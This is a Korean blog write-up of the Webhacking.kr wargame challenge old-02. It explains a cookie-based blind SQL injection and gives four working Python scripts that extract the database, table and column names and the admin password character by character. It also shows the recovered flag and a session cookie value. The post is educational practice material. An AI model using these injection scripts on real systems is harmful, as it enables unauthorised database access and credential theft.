ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Webhacking.kr> old-02
    Wargame/Webhacking.kr 2021. 11. 8. 17:29

    old-02

    제한 구역이라 한다. 그리고 내 IP가 로깅 중이라 한다.(로깅이란 로그를 기록하는 행위)

    아무런 내용이 없기에 페이지 소스 코드를 먼저 살펴본다.

    날짜와 시간은 로그인한 시점을 뜻하는 것 같다.

    그리고 뒤의 경고문을 살펴보면 admin.php에 접근하면 될 것 같다.

     

    비밀번호를 입력하는 창이 나온다.

     

    주소 창에 javascript:alert(document.cookie)를 통해 쿠키 값을 살펴본다.

    쿠키 값에 time이 있는 것을 확인할 수 있다.

    time의 값을 변경해 본다.(크롬의 확장 프로그램인 'EditThisCookie'를 사용하면 편하다)

    주석에 적힌 날짜와 시간이 변했다.

    이번엔 time의 값을 2로 바꿔 봤다.

    주석에 적힌 초가 2로 바뀌었다.

    즉 참인 뜻을 가지는 자연수를 입력하면 시간 부분이 바뀌는 것을 확인할 수 있다.(60 이상의 수는 자동으로 분과 초로 변환해준다.)

     

    거짓을 뜻하는 0을 입력해 보았다.

    거짓일 때의 주석이 보이지 않아 시간 확인이 불가능하다.

    거짓일 때의 주석을 SQL Injection을 통해 찾을 수 있다.

    time의 쿠키 값으로 '아무 숫자 and 1=0'을 입력하면 1=0 부분 때문에 거짓이 된다.

    time의 쿠키 값이 false일 경우, 주석의 시간의 초 부분이 0이 되었다.

    즉, time의 쿠키 값이 true일 경우, '2070-01-01 09:00:00'으로부터 time의 쿠키 값만큼 지난 시간을 출력하고,

    time의 쿠키 값이 false일 경우, '2070-01-01 09:00:00'을 고정적으로 출력한다.

     

    이처럼 SQL문에 대해 참과 거짓의 결과만 있을 경우 Blind SQL Injection을 수행할 수 있다.

     

    먼저 테이블의 이름을 알아야 한다. 

    select count(table_name) from information_schema.tables where table_schema=database()를 통해 현재 위치한 데이터베이스의 테이블 수를 알아낼 수 있다.

    초 부분이 2가 된 것으로 보아 테이블의 개수는 2개인 것을 알 수 있다.

     

    이제 테이블의 이름을 찾아야 한다.

    select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1을 통해 첫 번째 테이블 이름의 길이를 구할 수 있다.

    첫 번째 테이블의 이름은 13자리 인 것을 알 수 있다.

     

    이제 테이블 명의 단어를 한 글자씩 찾아낸다.

    select ascii(substring(table_name, 시작 위치, 1)) from information_schema.tables where table_schema=database() limit 0, 1을 통해 찾아낼 수 있다.

    97 즉, 테이블 명의 첫 글자는 'a'인 것을 알 수 있다.

     

    이렇게 직접 한 글자씩 찾을 수 있지만 편리하게 파이썬 코드로 구현한다.

    제법 시간이 오래 걸린다.

     

    1. DB 명 출력

    import requests
    
    url = "https://webhacking.kr/challenge/web-02/"
    end = False
    db = ""
    table = ""
    columns = ""
    pw = ""
    
    for i in range(1, 100):
        if end == True:
            break
        for k in range(33, 129):
            cookies = {"Cookie" : "PHPSESSID=자기 세션 값; time=0 || if(ord(substr((select database()),{},1))={},1,0)".format(i,k)}
            r = requests.get(url, cookies=cookies)
            if r.text.find("09:00:01") != -1:
                db += chr(k)
                break
            if k == 127:
                end = True
    print("Database : {}".format(db))  # Database : chall2

     

    2. 테이블 명 출력

    import requests
    
    url = "https://webhacking.kr/challenge/web-02/"
    end = False
    db = ""
    table = ""
    columns = ""
    pw = ""
    
    for i in range(1, 100):
        if end == True:
            break
        for k in range(33, 128):
            cookies = {"Cookie" : "PHPSESSID=자기 세션 값; time=0 || if(ord(substr((SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='chall2'),{},1))={},1,0)".format(i,k)}
            r = requests.get(url, cookies=cookies)
            if r.text.find("09:00:01") != -1:
                table += chr(k)
                break
            if k == 127:
                end = True
    print("Table : {}".format(table))  # Table : admin_area_pw,log

     

    3. 컬럼 명 출력

    import requests
    
    url = "https://webhacking.kr/challenge/web-02/"
    end = False
    db = ""
    table = ""
    columns = ""
    pw = ""
    
    for i in range(1, 100):
        if end == True:
            break
        for k in range(33, 128):
            cookies = {"Cookie" : "PHPSESSID=kkp7qg686mbl6056qng6kq8nj8; time=0 || if(ord(substr((SELECT group_concat(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_area_pw'),{},1))={},1,0)".format(i,k)}
            r = requests.get(url, cookies=cookies)
            if r.text.find("09:00:01") != -1:
                columns += chr(k)
                break
            if k == 127:
                end = True
    print("Column : {}".format(columns))  # Column : pw

     

    4. 비밀번호 출력

    import requests
    
    url = "https://webhacking.kr/challenge/web-02/"
    end = False
    db = ""
    table = ""
    columns = ""
    pw = ""
    
    for i in range(1, 100):
        if end == True:
            break
        for k in range(33, 128):
            cookies = {"Cookie" : "PHPSESSID=kkp7qg686mbl6056qng6kq8nj8; time=0 || if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,k)}
            r = requests.get(url, cookies=cookies)
            if r.text.find("09:00:01") != -1:
                pw += chr(k)
                break
            if k == 127:
                end = True
    print("Password : {}".format(pw))  # kudos_to_beistlab

    이제 추출한 비밀번호를 admin.php 에 있는 비밀번호 창에 입력하면 문제를 해결할 수 있다.

    'Wargame > Webhacking.kr' 카테고리의 다른 글

    <Webhacking.kr> old-07  (0) 2021.11.15
    <Webhacking.kr> old-05  (0) 2021.11.14
    <Webhacking.kr> old-06  (0) 2021.11.11
    <Webhacking.kr> old-03  (0) 2021.11.09
    <Webhacking.kr> old-01  (0) 2021.11.04
Designed by Tistory.